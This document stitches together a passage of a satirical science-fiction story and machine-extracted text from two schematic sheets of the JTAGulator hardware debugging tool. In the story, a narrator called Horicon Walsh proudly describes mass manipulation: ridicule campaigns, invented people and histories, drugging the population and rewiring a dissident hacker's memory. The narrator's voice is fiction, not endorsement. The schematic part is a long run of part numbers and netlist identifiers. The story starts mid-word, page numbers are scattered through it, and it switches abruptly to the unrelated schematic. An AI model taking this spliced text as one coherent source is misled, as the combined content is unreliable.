up. The Hump in the Bell Curve as we call the eighty per cent that buy and sell just about everything swim blissfully in the currents of make-believe 5 digital rivers, all unassuming. They call it the Pursuit of Happiness. And hey – who are we to argue? The memory-longevity problem came as usual completely out of fantasy left field. People were living three, four, five generations, as we used to count generations, and vividly recalled the events of their personal histories. Pharmacological assists and genetic enhancement made the problem worse by quickening recall and ending dementia and Alzheimer’s. I don’t mean that every single person remembered every single thing but the Hump as a whole had pretty good recall of its collective history and that’s what mattered. Peer-to-peer communication means one-knows-everyone-knows and that created problems for society in general and – as a Master of Society – that makes it my business. My name is Horicon Walsh, if you hadn’t guessed, and I lead the team that designs the protocols of society. I am the man behind the Master. I am the Master behind the Plan. The Philosophical Basis of the Problem The philosophical touchstone of our efforts was defined in nineteenth century America. The only question that matters is, What good is it? Questions like, what is its nature? what is its end? are irrelevant. Take manic depression, for example. Four per cent of the naturally occurring population were manic depressive in the late twentieth century. The pharmacological fix applied to the anxious or depressive one-third of the Hump attempted to maintain a 6 steady internal state, not too high and not too low. That standard of equilibrium was accepted without question as a benchmark for fixing manic depression. Once we got the chemistry right, the people who had swung between killing themselves and weeks of incredibly productive, often genius-level activity were tamped down in the bowl, as it were, their glowing embers a mere reflection of the fire that had once burned so brightly. Evolution, in other words, had gotten it right because their good days – viewed from the top of the tent – made up for their bad days. Losing a few to suicide was no more consequential than a few soccer fans getting trampled. Believing that the Golden Mean worked on the individual as well as the macro level, we got it all wrong. That sort of mistake, fixing things according to unexamined assumptions, happened all the time when we started tweaking things. Too many dumb but athletic children spoiled the broth. Too many waddling bespectacled geeks made it too acrid. Too many willowy beauties made it too salty. Peaks and valleys, that’s what we call the first half of the 21st century, as we let people design their own progeny. The feedback loops inside society kind of worked – we didn’t kill ourselves – but clearly we needed to be more aware. Regulation was obviously necessary and subsequently all genetic alteration and pharmacological enhancements were cross-referenced in a matrix calibrated to the happiness of the Hump. Executing the Plan to make it all work was our responsibility, a charge that the ten per cent of us called Masters gladly accepted. The ten per cent destined to be dregs, spending their lives picking through dumpsters and arguing loudly with themselves in loopy monologues, serve as grim reminders of what humanity would be without our enlightened guidance. 7 That’s the context in which it became clear that everybody remembering everything was a problem. The Nostalgia Riots of Greater Florida were only a symptom. The Nostalgia Riots Here you had the fat tip of a long peninsular state packed like a water balloon with millions of people well into their hundreds. One third of the population was 150 or older by 2175. Some remembered sixteen major wars and dozens of skirmishes and police actions. Some had lived through forty-six recessions and recoveries. Some had lived through so many elections they could have written the scripts, that’s how bad it was. Their thoughtful reflection, nuanced perspective, and appropriate skepticism were a blight on a well-managed global free-market democracy. They did not get depressed – pharmies in the food and water made sure of that – but they sure acted like depressed people even if they didn’t feel like it. And depressed people tend to get angry. West Floridians lined benches from Key West through Tampa Bay all the way to the Panhandle. The view from satellites when they lighted matches one night in midwinter to demonstrate their power shows an unbroken arc along the edge of the water like a second beach beside the darker beach. All day every day they sat there remembering, comparing notes, measuring what was happening now by what had happened before. They put together pieces of the historical puzzle the way people used to do crosswords and we had to work overtime to stay a step ahead. The long view of the 8 Elder Sub-Hump undermined satisfaction with the present. They preferred a different, less helpful way of looking at things. When the drums of the Department of System Integration, formerly the Managed Affairs and Perception Office, began to beat loudly to rouse the population of our crowded earth to a fury against the revolutionary Martian colonists who shot their resupplies into space rather than pay taxes to the earth, we thought we would have the support of the Elder Sub-Hump. Instead they pushed the drumming into the background and recalled through numerous conversations the details of past conflicts, creating a memory net that destabilized the official Net. Their case for why our effort was doomed was air-tight, but that wasn’t the problem. We didn’t mind the truth being out there so long as no one connected it to the present. The problem was that so many people knew it because the Elder Sub-Hump wouldn’t shut up. That created a precedent and the precedent was the problem. Long-term memory, we realized, was subversive of the body politic. Where had we gotten off course? We had led the culture to skew toward youth because youth have no memory in essence, no context for judging anything. Their righteousness is in proportion to their ignorance, as it should be. But the Elder Sub-Hump skewed that skew. We launched a campaign against the seditious seniors. Because there were so many of them, we had to use ridicule. The three legs of the stool of cover and deception operations are illusion, misdirection, and ridicule, but the greatest of these is ridicule. When the enemy is in plain sight, you have to make him look absurd so everything he says is discredited. The UFO Campaign of the twentieth century is the textbook example 9 of that strategy. You had fighter pilots, commercial pilots, credible citizens all reporting the same thing from all over the world, their reports agreeing over many decades in the small details. So ordinary citizens were subjected to ridicule. The use of government owned and influenced media like newspapers (including agency-owned-and-operated tabloids) and television networks made people afraid to say what they saw. They came to disbelieve their own eyes so the phenomena could hide in plain sight. Pretty soon no one saw it. Even people burned by close encounters refused to believe in their own experience and accepted official explanations. We did everything possible to make old people look ridiculous. Subtle images of drooling fools were inserted into news stories, short features showed ancients playing inanely with their pets, the testimony of confused seniors was routinely dismissed in courts of law. Our trump card – entertainment – celebrated youth and its lack of perspective, extolling the beauty of young muscular bodies in contrast with sagging-skin bags of bones who paused too long before they spoke. We turned the book industry inside out so the little bit that people did know was ever more superficial. The standard for excellence in publishing became an absence of meaningful text, massive amounts of white space, and large fonts. Originality dimmed, and pretty soon the only books that sold well were mini-books of aphorisms promulgated by pseudo-gurus each in his or her self-generated niche. Slowly the cognitive functioning of the Hump degraded until abstract or creative thought became marks of the wacky, the outcast, and the impotent. Then the unexpected happened, as it always will. Despite our efforts, the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved on South 10 Florida with happy gas, trying to turn the rampaging populace into one big smiley face, but the seniors went berserk before the gas – on top of pills, mind you, chemicals in the water, and soporific stories in the media – took effect. They tore up benches from the Everglades to Tampa/St. Pete and made bonfires that made the forest fires of ’64 look like fireflies. They smashed store windows, burned hovers, and looted amusement parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was slow to get on board, they burned white-hot when they finally ignited, racing through their shopping worlds with inhuman cold-blooded cries. A shiver of primordial terror chilled the Hump from end to end. That a riot broke out was not the primary problem. Riots will happen and serve many good purposes. They enable us to reinforce stereotypes, enact desirable legislation, and discharge unhelpful energies. The way we frame analyses of their causes become antecedents for future policies and police actions. We have sponsored or facilitated many a useful riot. No, the problem was that the elders’ arguments were based on past events and if anybody listened, they made sense. That’s what tipped the balance. Youth who had learned to ignore and disrespect their elders actually listened to what they were saying. Pretending to think things through became a fad. The young sat on quasi-elder-benches from Key Largo to Saint Augustine, pretending to have thoughtful conversations about the old days. Coffee shops came back into vogue. Lingering became fashionable again. Earth had long ago decided to back down when the Martians declared independence, so it wasn’t that. It was the spectacle of the elderly strutting their stuff in a victory parade that stretched from Miami Beach to Biloxi that imaged a future we could not abide. 11 Even before the march, we were working on solving the problem. Let them win the battle. Martians winning independence, old folks feeling their oats, those weren’t the issues. How policy was determined was the issue. Our long-term strategy focused on winning that war. Beyond the Chomsky Chutes The first thing we did was review the efficacy of Chomsky Chutes. Chomsky Chutes are the various means by which current events are dumped into the memory hole, never to be remembered again. Intentional forgetting is an art. We used distraction, misdirection – massive, minimal and everything in-between, truth-in-lie- embedding, lie-in-truth-embedding, bogus fronts and false organizations (physical, simulated, live and on the Net). We created events wholesale (which some call short-term memory crowding, a species of buffer overflow), generated fads, fashions and movements sustained by concepts that changed the context of debate. Over in the entertainment wing, the most potent wing of the military-industrial-educational- entertainment complex, we invented false people, characters with made-up life stories in simulated communities more real to the Hump than family or friends. We revised historical antecedents or replaced them entirely with narratives you could track through several centuries of buried made-up clues. We sponsored scholars to pursue those clues and published their works and turned them into minipics. Some won Nobel Prizes. We invented Net discussion groups and took all sides, injecting half-true details into the 12 discourse, just enough to bend the light. We excelled in the parallax view. We perfected the Gary Webb Gambit, using attacks by respectable media giants on independent dissenters, taking issue with things they never said, thus changing the terms of the argument and destroying their credibility. We created dummy dupes, substitute generals and politicians and dictators that looked like the originals in videos, newscasts, on the Net, in covertly distributed underground snaps, many of them pornographic. We created simulated humans and sent them out to play among their more real cousins. We used holographic projections, multispectral camouflage, simulated environments and many other stratagems. The toolbox of deception is bottomless and if anyone challenged us, we called them a conspiracy theorist and leaked details of their personal lives. It’s pretty tough to be taken seriously when your words are juxtaposed with a picture of you sucking some prostitute’s toes. Through all this we supported and often invented opposition groups because discordant voices, woven like a counterpoint into a fugue, showed the world that democracy worked. Meanwhile we used those groups to gather names, filling cells first in databases, then in Guantanamo camps. Chomsky Chutes worked well when the management of perception was at top- level, the level of concepts. They worked perfectly before chemicals, genetic- enhancements and bodymods had become ubiquitous. Then the balance tipped toward chemicals (both ingested and inside-engineered) and we saw that macro strategies that addressed only the conceptual level let too many percepts slip inside. Those percepts swim around like sperm and pattern into memories; when memories are spread through peer-to-peer nets, the effect can be devastating. It counters everything we do at the macro level and creates a subjective field of interpretation that resists socialization, a cognitively 13 dissonant realm that’s like an itch you can’t scratch, a shadow world where “truths” as they call them are exchanged on the Black Market. Those truths can be woven together to create alternative realities. The only alternative realities we want out there are ones we create ourselves. We saw that we needed to manage perception as well as conception. Given that implants, enhancements, and mods were altering human identity through everyday life – routine medical procedures, prenatal and geriatric care, plastic surgery, eye ear nose throat and dental work, all kinds of pharmacopsychotherapies – we saw the road we had to take. We needed to change the brain and its secondary systems so that percepts would filter in and filter out as we preferred. Percepts – not all, but enough – would be pre- configured to model or not model images consistent with society’s goals. Using our expertise in enterprise system programming and management, we correlated subtle changes in biochemistry and nanophysiology to a macro plan calibrated to statistical parameters of happiness in the Hump. Keeping society inside those “happy brackets” became our priority. So long as changes are incremental, people don’t notice. Take corrective lenses, for example. People think that what they see through lenses is what’s “real” and are trained to call what their eyes see naturally (if they are myopic, for example) a blur. In fact, it’s the other way around. The eyes see what’s natural and the lenses create a simulation. Over time people think that percepts mediated by technological enhancements are “real” and what they experience without enhancements is distorted. It’s like that, only inside where it’s invisible. 14 It was simply a matter of working not only on electromechanical impulses of the heart, muscles, and so on as we already did or on altering senses like hearing and sight as we already did or on implanting devices that assisted locomotion, digestion, and elimination as we already did but of working directly as well on the electrochemical wetware called the memory skein or membrane, that vast complex network of hormonal systems and firing neurons where memories and therefore identity reside. Memories are merely points of reference, after all, for who we think we are and therefore how we frame ourselves as possibilities for action. All individuals have mythic histories and collective memories are nothing but shared myths. Determining those points of reference determines what is thinkable at every level of society’s mind. Most of the trial and error work had been done by evolution. Our task was to infer which paths had been taken and why, then replicate them for our own ends. Short term memory, for example, is wiped out when a crisis occurs. Apparently whatever is happening in a bland sort of ho-hum way when a tiger attacks is of little relevance to survival. But reacting to the crisis is important, so we ported that awareness to the realm of the body politic. Everyday life has its minor crises but pretty much just perks along. We adjusted our sensors to alert us earlier when the Hump was paying too much attention to some event that might achieve momentum or critical mass; then we could release that tiger, so to speak, creating a crisis that got the adrenalin pumping and wiped out whatever the Hump had been thinking. After the crisis passed – and it always did, usually with a minimal loss of life – the Hump never gave a thought to what had been in the forefront of its mind a moment before. 15 Once the average lifespan reached a couple of hundred years, much of what people remembered was irrelevant or detrimental. Who cared if there had been famine or drought a hundred and fifty years earlier? Nobody! Who cared if a war had claimed a million lives in Botswana or Tajikistan (actually, the figure in both cases was closer to two million)? Nobody! What did it matter to survivors what had caused catastrophic events? It didn’t. And besides, the military-industrial-educational-entertainment establishment was such a seamless weld of collusion and mutual self-interest that what was really going on was never exposed to the light of day anyway. The media, the fifth column inside the MIEE complex, filtered out much more than was filtered in, by design. Even when people thought they were “informed,” they didn’t know what they were talking about. See, that’s the point. People fed factoids and distortions don’t know what they’re talking about anyway, so why shouldn’t inputs and outputs be managed more precisely? Why leave anything to chance when it can be designed? We knew we couldn’t design everything but we could design the subjective field in which people lived and that would take care of the rest. That would determine what questions could be asked which in turn would make the answers irrelevant. We had to manage the entire enterprise from end to end. Now, this is the part I love, because I was in on the planning from the beginning. We remove almost nothing from the memory of the collective! But we and we alone know where everything is stored! Do you get it? Let me repeat. Almost all of the actual memories of the collective, the whole herdlike Hump, are distributed throughout the population, but because they are staggered, arranged in niches that constitute multisided 16 life, and news is managed down to the level of perception itself, the people who have the relevant modules never plug into one another! They never talk to each other, don’t you see! Each niche lives in its own deep hole and even when they find gold nuggets they don’t show them to anybody. If they did, they could reconstruct the original narrative in its entirety, but they don’t even know that! Isn’t that elegant? Isn’t that a sublime way to handle whiny neo-liberals who object to destroying fundamental elements of collective memory? We can show them how it’s all there but distributed by the sixtysixfish algorithm. That algorithm, the programs that make sense of its complex operations, and the keys to the crypto are all in the hands of the Masters. I love it! Each Humpling has memory modules inserted into its wetware, calibrated to macro conceptions that govern the thinking and actions of the body politic. Because they don’t know what they’re missing, they don’t know what they’re missing. We leave intact the well-distributed peasant gene that distrusts strangers, changes, and new ideas, so if some self-appointed liberator tries to tell them how it works, they snarl or remain sullen or lower their eyes or eat too much or get drunk until they forget why they were angry. At the same time, we design a memory web that weaves people into communities that cohere, spun through vast amounts of disconnected data. Compartmentalization handles all the rest. The Hump is overloaded with memories, images, ideas, all to no purpose. We keep fads moving, quick quick quick, and we keep the Hump as gratified and happy as a pig in its own defecation. 17 MemoRacer, Master Hacker Of course, there are misfits, antisocial criminals and hackers who want to reconstitute the past. We devised an ingenious way to manage them too. We let them have exactly what they think they want. MemoRacer comes to mind when we talk about hackers. MemoRacer flipped through niches like an asteroid through the zero-energy of space. He lived in a niche long enough to learn the parameters by which the nichelings thought and acted. Then he became invisible, dissolving into the background. When he grew bored or had learned enough, he flipped to the next niche or backtracked, sometimes living in multiple niches and changing points of reference on the fly. He was slippery and smart, but he had an ego and we knew that would be his downfall. The more he learned, the more isolated he became. The more he understood, the less he could relate to those who didn’t. Understand too much, you grow unhappy on that bench listening to your neighbors’ prattle. It becomes irritating. MemoRacer and his kind think complexity is exhilarating. They find differences stimulating and challenging. The Hump doesn’t think that way. Complexity is threatening to the Hump and differences cause anxiety and discomfort. The Hump does not like anxiety and discomfort. MemoRacer (his real name was George Ruben, but no one remembers that) learned in his flipping that history was more complex than anyone knew. That was not merely because he amassed so many facts, storing them away on holodisc and drum as trophies to be shown to other hackers, but because he saw the links between them. He 18 knew how to plug and play, leverage and link, that was his genius. Because he didn’t fit, he called for revolution, crying out that “Memories want to be free!” I guess he meant by that vague phrase that memories had a life of their own and wanted to link up somehow and fulfill themselves by constituting a person or a society that knew who it was. In a society that knows who it is precisely because it has no idea who it is, that, Mister Master Hacker, is subversive. Once MemoRacer issued his manifesto on behalf of historical consciousness, he became a public enemy. We could not of course say that his desire to restore the memory of humankind was a crime. Technically, it wasn’t. His crime was undermining the basis of transplanetary life in the twenty first century. His crime was disturbing the peace. He covered his tracks well. MemoRacer blended into so many niches so well that each one thought he belonged. But covering your tracks ninety-nine times isn’t enough. It’s the hundredth time, that one little slip, that tells us who and where you are. MemoRacer grew tired and forgetful despite using more Perkup than a waking- state addict – as we expected. The beneficial effects of Perkup degrade over time. It was designed that way so no one could be aware forever. That was the failsafe mechanism pharms had agreed to build in as a back door. All we had to do was wait. The niche in which he slipped up was the twenty-third business clique. This group of successful low-level managers and small manufacturers were not particularly creative but they worked long hours and made good money. MemoRacer forgot that their lack of interest in ideas, offbeat thinking, was part of their psychic bedrock. Their entertainment consisted of golf, eating, drinking, sometimes sex, then golf again. They bought their fair share of useless goods to keep society humming along, consumed huge quantities of 19 resources to build amusement parks, golf courses, homes with designer shrubs and trees. In short, they were good citizens. But they had little interest in revolutionary ideas and George Ruben, excuse me, MemoRacer forgot that during one critical conversation. He was tired, as I said, and did not realize it. He had a couple of drinks at the club and began declaiming how the entire history of the twentieth century had been stolen from its inhabitants by masters of propaganda, PR, and the national security state. The key details that provided context were hidden or lost, he said. That’s how he talked at the nineteenth hole of the Twenty-Third Club! trying to get them all stirred up about something that had happened a century earlier. Even if it was true, who cared? They didn’t. What were they supposed to do about it? MemoRacer should have known that long delays in disclosure neutralize even the most shocking revelations and render outrage impotent. People don’t like being made to feel uncomfortable at their contradictions. People have killed for less. One of the Twenty Third complained about his rant to the Club Manager. He did so over a holophone. Our program, alert for anomalies, caught it. The next day our people were at the Club, better disguised than MemoRacer would ever be, observing protocols – i.e. saying nothing controversial, drinking too much, and insinuating sly derogatory things about racial and religious minorities – and learned what they needed to know. They scraped the young man’s DNA from the chair in which he had been sitting and broadcast the pattern on the Net. Genetic markers were scooped up routinely the next day and when he left fingerskin on a lamp-post around which he swung in too-tired up-too- long jubilation (short-lived, I can tell you) in the seventy-seven Computer Club niche, he was flagged. When he left the meeting, acting like one of the geeky guys, our people were waiting. 20 We do this for a living, George. We are not amateurs. MemoRacer taught us how to handle hackers. He wanted to live in the past, did he? Well, that’s where he was allowed to live – forever. Chemicals and implants worked their magic, making him incapable of living in the present. When he tried to focus on what was right in front of his eyes, he couldn’t see it. That meant that he sounded like a blithering idiot when he tried to speak with people who lived exclusively in the present. MemoRacer lived in a vast tapestry of historical understanding that he couldn’t connect in any meaningful way to the present or the lived experience of people around him. There is an entire niche now of apprehended hackers living in the historical past and exchanging data but unable to relate to contemporary niches. It’s a living hell because they are immensely knowledgeable but supremely impotent and know it. They teach seminars at community centers which we support as evidence of our benevolence and how wrong they are to hate us. You want to know about the past? By all means! There’s a seminar starting tomorrow, I say, scanning my planner. What’s your interest? What do you want to explore? Twentieth century Chicago killers? Herbal medicine during the Ming Dynasty? Competitive intelligence in Dotcom Days? Pick your poison! And when they leave the seminar room, vague facts tumbling over one another in a chaotic flow to nowhere, they can’t connect anything they have heard to their lives. So everybody pretty much has what they want or at least what they need, using the benchmarks we have established as the correct measures for society. The Hump is relatively happy. The dregs skulk about as reminders of a mythic history we have 21 invented that everyone fears. People perceive and conceive of things in helpful and useful ways and act accordingly. And when we uplink to nets around all the planets and orbiting colonies, calling the roll on every niche in the known universe, it always comes out right. Everybody is present. Everybody is always present. Just the way we like it. # # # # #
pdf
1 1 2 2 3 3 4 4 5 5 6 6 D D C C B B A A NOTE: RESISTORS ARE IN OHMS +/- 5% AND CAPACITORS ARE IN MICROFARADS UNLESS OTHERWISE NOTED. SEE BOM FOR ACTUAL VOLTAGE AND SPECIFICATION. 3V3 E0 1 E1 2 E2 3 GND 4 SDA 5 SCL 6 WC 7 VCC 8 U4 24LC512-I/SN 1 2 Y1 5.0MHz 3V3 3V3 #RES PROPRX PROPTX PROPSDA PROPSCL 4/19/2013 B B 2 1 Joe Grand JTAGulator: Main SIZE DATE REV SHT OF TITLE DRAWN BY FILENAME Distributed under a Creative Commons Attribution 3.0 US license 10k R4 10k R3 3V3 10uF C7 VIN 3 VO 2 GND 1 VO 4 U6 LD1117S33 0.1uF C6 5V0 3V3 470 R5 270 R6 Red Green LEDR LEDG 3V3 3V3 3V3 P0 P1 P2 P3 P4 P5 P6 P7 VSS 39 VDD 8 VSS 27 P31 38 P30 37 P29 36 P28 35 P26 33 P27 34 VDD 18 VSS 17 VSS 5 VDD 30 VDD 40 XI 28 XO 29 RES 7 BOE 6 P25 32 P24 31 P7 4 P6 3 P5 2 P4 1 P2 43 P3 44 P1 42 P0 41 P15 16 P14 15 P13 14 P12 13 P10 11 P11 12 P9 10 P8 9 P23 26 P22 25 P21 24 P20 23 P18 21 P19 22 P17 20 P16 19 U2 PROPELLER (P8X32A-Q44) To Host TEST 26 RTS 3 DCD 10 RI 6 GND 18 GND 21 VCC 20 TXD 1 CTS 11 CBUS0 23 3V3OUT 17 DTR 2 RXD 5 CBUS1 22 OSCI 27 DSR 9 USBDM 16 OSCO 28 USBDP 15 VCCIO 4 RESET 19 AGND 25 GND 7 CBUS2 13 CBUS3 14 CBUS4 12 U1 FT232RL 1 2 3 4 5 P1 UX60-MB-5S8 0.1uF C3 USBDM USBDP USB Mini B 8 5 3 2 6 7 4 1 U5 AD8655ARZ 5V0 0.1uF C11 5V0 1 2 3 D1 WP59EGW 0.1uF C12 0.1uF C13 0.1uF C14 0.1uF C15 100k R9 18k R7 8.2k R8 1000pF C4 470pF C5 VADJ DACOUT 4.7uF C8 VUSB 0.01uF C1 SW1 SPST 0.01uF C2 10k R2 Q1 2N3904 P8 P9 P10 P11 P12 P13 P14 P15 P16 P17 P18 P19 P20 P21 P22 P23 0.1uF C9 VUSB 220R@100MHz L1 0-3.3V @ 256 steps ~13mV/step ~150mA max. Iout IN 7 OUT 6 EN 1 FLG 2 GND 3 OUT 8 U3 MIC2025-2YM 5V0 VUSB 10k R1 4.7uF C10 5V0 VUSB TXSOE P[23...0] PIC101 PIC102 COC1 PIC201 PIC202 COC2 PIC301 PIC302 COC3 PIC401 PIC402 COC4 PIC501 PIC502 COC5 PIC601 PIC602 COC6 PIC701 PIC702 COC7 PIC801 PIC802 COC8 PIC901 PIC902 COC9 PIC1001 PIC1002 COC10 PIC1101 PIC1102 COC11 PIC1201 PIC1202 COC12 PIC1301 PIC1302 COC13 PIC1401 PIC1402 COC14 PIC1501 PIC1502 COC15 PID101 PID102 PID103 COD1 PIL101 PIL102 COL1 PIP101 PIP102 PIP103 PIP104 PIP105 COP1 PIQ101 PIQ102 PIQ103 COQ1 PIR101 PIR102 COR1 PIR201 PIR202 COR2 PIR301 PIR302 COR3 PIR401 PIR402 COR4 PIR501 PIR502 COR5 PIR601 PIR602 COR6 PIR701 PIR702 COR7 PIR801 PIR802 COR8 PIR901 PIR902 COR9 PISW101 PISW102 COSW1 PIU101 PIU102 PIU103 PIU104 PIU105 PIU106 PIU107 PIU109 PIU1010 PIU1011 PIU1012 PIU1013 PIU1014 PIU1015 PIU1016 PIU1017 PIU1018 PIU1019 PIU1020 PIU1021 PIU1022 PIU1023 PIU1025 PIU1026 PIU1027 PIU1028 COU1 PIU201 PIU202 PIU203 PIU204 PIU205 PIU206 PIU207 PIU208 PIU209 PIU2010 PIU2011 PIU2012 PIU2013 PIU2014 PIU2015 PIU2016 PIU2017 PIU2018 PIU2019 PIU2020 PIU2021 PIU2022 PIU2023 PIU2024 PIU2025 PIU2026 PIU2027 PIU2028 PIU2029 PIU2030 PIU2031 PIU2032 PIU2033 PIU2034 PIU2035 PIU2036 PIU2037 PIU2038 PIU2039 PIU2040 PIU2041 PIU2042 PIU2043 PIU2044 COU2 PIU301 PIU302 PIU303 PIU306 PIU307 PIU308 COU3 PIU401 PIU402 PIU403 PIU404 PIU405 PIU406 PIU407 PIU408 COU4 PIU501 PIU502 PIU503 PIU504 PIU505 PIU506 PIU507 PIU508 COU5 PIU601 PIU602 PIU603 PIU604 COU6 PIY101 PIY102 COY1 PIQ103 PISW101 PIU207 NL#RES PIC701 PIC1202 PIC1302 PIC1402 PIC1502 PIR302 PIR402 PIU208 PIU2018 PIU2030 PIU2040 PIU408 PIU602 PIU604 PIC602 PIC1001 PIC1102 PIU306 PIU308 PIU507 PIU603 PIR702 PIR902 PIU2032 NLDACOUT PIC101 PIC301 PIC501 PIC601 PIC702 PIC802 PIC901 PIC1002 PIC1101 PIC1201 PIC1301 PIC1401 PIC1501 PID102 PIP105 PIQ101 PIR201 PIR901 PISW102 PIU107 PIU1018 PIU1021 PIU1025 PIU1026 PIU205 PIU206 PIU2017 PIU2027 PIU2039 PIU303 PIU401 PIU402 PIU403 PIU404 PIU407 PIU504 PIU601 PIR602 PIU2033 NLLEDG PIR502 PIU2034 NLLEDR PIC102 PIL101 PIP101 PIC201 PIQ102 PIR202 PIC202 PIU102 PIC302 PIR102 PIU104 PIU1017 PIC401 PIR701 PIR802 PIC502 PIR801 PIU503 PID101 PIR501 PID103 PIR601 PIP104 PIR101 PIU1014 PIU301 PIU103 PIU106 PIU109 PIU1010 PIU1011 PIU1012 PIU1013 PIU1019 PIU1022 PIU1023 PIU1027 PIU1028 PIU2028 PIY101 PIU2029 PIY102 PIU2031 POTXSOE PIU302 PIU501 PIU505 PIU508 PIU2041 NLP0 PIU2042 NLP1 PIU2043 NLP2 PIU2044 NLP3 PIU201 NLP4 PIU202 NLP5 PIU203 NLP6 PIU204 NLP7 PIU209 NLP8 PIU2010 NLP9 PIU2011 NLP10 PIU2012 NLP11 PIU2013 NLP12 PIU2014 NLP13 PIU2015 NLP14 PIU2016 NLP15 PIU2019 NLP16 PIU2020 NLP17 PIU2021 NLP18 PIU2022 NLP19 PIU2023 NLP20 PIU2024 NLP21 PIU2025 NLP22 PIU2026 NLP23 PIU101 PIU2038 NLPROPRX PIR401 PIU2035 PIU406 NLPROPSCL PIR301 PIU2036 PIU405 NLPROPSDA PIU105 PIU2037 NLPROPTX PIP102 PIU1016 NLUSBDM PIP103 PIU1015 NLUSBDP PIC402 PIU502 PIU506 PIC801 PIC902 PIL102 PIU1020 PIU307 POP02300000 POTXSOE 1 1 2 2 3 3 4 4 5 5 6 6 D D C C B B A A NOTE: RESISTORS ARE IN OHMS +/- 5% AND CAPACITORS ARE IN MICROFARADS UNLESS OTHERWISE NOTED. SEE BOM FOR ACTUAL VOLTAGE AND SPECIFICATION. 3V3 VADJ 4/19/2013 B B 2 2 Joe Grand JTAGulator: Target Interface SIZE DATE REV SHT OF TITLE DRAWN BY FILENAME Distributed under a Creative Commons Attribution 3.0 US license 0.1uF C19 0.1uF C20 P0 P1 P2 P3 P4 P5 P6 P7 P8 P9 P10 P11 P12 P13 P14 P15 P16 P17 P18 P19 P20 P21 P22 P23 1 2 3 4 5 P2 TE 282834-5 CH0 CH1 CH2 CH3 1 2 3 4 5 P3 TE 282834-5 1 2 3 4 5 P4 TE 282834-5 1 2 3 4 5 P5 TE 282834-5 1 2 3 4 5 P6 TE 282834-5 CH4 CH5 CH6 CH7 CH8 CH9 CH10 CH11 CH12 CH13 CH14 CH15 CH16 CH17 CH18 CH19 CH20 CH21 CH22 CH23 I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U8 NUP4302MR6 VADJ I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U7 NUP4302MR6 VADJ I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U11 NUP4302MR6 VADJ I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U10 NUP4302MR6 VADJ I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U14 NUP4302MR6 VADJ I/O1 1 GND 2 I/O2 3 I/O3 4 VCC 5 I/O4 6 U13 NUP4302MR6 VADJ 3V3 VADJ 0.1uF C18 0.1uF C22 3V3 VADJ 0.1uF C17 0.1uF C21 10k R10 TXSOE VADJ 3V3 VADJ 3V3 VADJ 3V3 P[23...0] Diode limiters for input protection Vf must be < 0.5V to prevent damage to level translators VCCA <= VCCB VCCA range: 1.2V to 3.6V VCCB range: 1.7V to 5.5V VCCA 2 A2 3 A3 4 A1 1 A4 5 A5 6 A6 7 A7 8 A8 9 OE 10 GND 11 B8 12 B7 13 B6 14 B5 15 B4 16 B3 17 B2 18 VCCB 19 B1 20 U9 TXS0108EPWR VCCA 2 A2 3 A3 4 A1 1 A4 5 A5 6 A6 7 A7 8 A8 9 OE 10 GND 11 B8 12 B7 13 B6 14 B5 15 B4 16 B3 17 B2 18 VCCB 19 B1 20 U12 TXS0108EPWR VCCA 2 A2 3 A3 4 A1 1 A4 5 A5 6 A6 7 A7 8 A8 9 OE 10 GND 11 B8 12 B7 13 B6 14 B5 15 B4 16 B3 17 B2 18 VCCB 19 B1 20 U15 TXS0108EPWR To Target Compatible w/ Bus Pirate 3.x probe/interface cable 1 2 3 4 5 6 7 8 9 10 P7 961210-6404-AR CH0 CH1 CH2 CH3 CH4 CH5 CH6 CH7 Red Yellow Blue Grey Black Brown Orange VADJ Green Purple White CH8 CH9 CH10 CH11 CH12 CH13 CH14 CH15 Red Yellow Blue Grey Black Brown Orange VADJ Green Purple White CH17 CH18 CH19 CH20 CH21 CH22 CH23 Red Yellow Blue Grey Black Brown Orange VADJ Green Purple White 1 2 3 4 5 6 7 8 9 10 P8 961210-6404-AR 1 2 3 4 5 6 7 8 9 10 P9 961210-6404-AR CH16 1 2 3 4 5 6 7 8 16 15 14 13 12 11 10 9 1K R11 1 2 3 4 5 6 7 8 16 15 14 13 12 11 10 9 1K R12 1 2 3 4 5 6 7 8 16 15 14 13 12 11 10 9 1K R13 PIC1701 PIC1702 COC17 PIC1801 PIC1802 COC18 PIC1901 PIC1902 COC19 PIC2001 PIC2002 COC20 PIC2101 PIC2102 COC21 PIC2201 PIC2202 COC22 PIP201 PIP202 PIP203 PIP204 PIP205 COP2 PIP301 PIP302 PIP303 PIP304 PIP305 COP3 PIP401 PIP402 PIP403 PIP404 PIP405 COP4 PIP501 PIP502 PIP503 PIP504 PIP505 COP5 PIP601 PIP602 PIP603 PIP604 PIP605 COP6 PIP701 PIP702 PIP703 PIP704 PIP705 PIP706 PIP707 PIP708 PIP709 PIP7010 COP7 PIP801 PIP802 PIP803 PIP804 PIP805 PIP806 PIP807 PIP808 PIP809 PIP8010 COP8 PIP901 PIP902 PIP903 PIP904 PIP905 PIP906 PIP907 PIP908 PIP909 PIP9010 COP9 PIR1001 PIR1002 COR10 PIR1101 PIR1102 PIR1103 PIR1104 PIR1105 PIR1106 PIR1107 PIR1108 PIR1109 PIR11010 PIR11011 PIR11012 PIR11013 PIR11014 PIR11015 PIR11016 COR11 PIR1201 PIR1202 PIR1203 PIR1204 PIR1205 PIR1206 PIR1207 PIR1208 PIR1209 PIR12010 PIR12011 PIR12012 PIR12013 PIR12014 PIR12015 PIR12016 COR12 PIR1301 PIR1302 PIR1303 PIR1304 PIR1305 PIR1306 PIR1307 PIR1308 PIR1309 PIR13010 PIR13011 PIR13012 PIR13013 PIR13014 PIR13015 PIR13016 COR13 PIU701 PIU702 PIU703 PIU704 PIU705 PIU706 COU7 PIU801 PIU802 PIU803 PIU804 PIU805 PIU806 COU8 PIU901 PIU902 PIU903 PIU904 PIU905 PIU906 PIU907 PIU908 PIU909 PIU9010 PIU9011 PIU9012 PIU9013 PIU9014 PIU9015 PIU9016 PIU9017 PIU9018 PIU9019 PIU9020 COU9 PIU1001 PIU1002 PIU1003 PIU1004 PIU1005 PIU1006 COU10 PIU1101 PIU1102 PIU1103 PIU1104 PIU1105 PIU1106 COU11 PIU1201 PIU1202 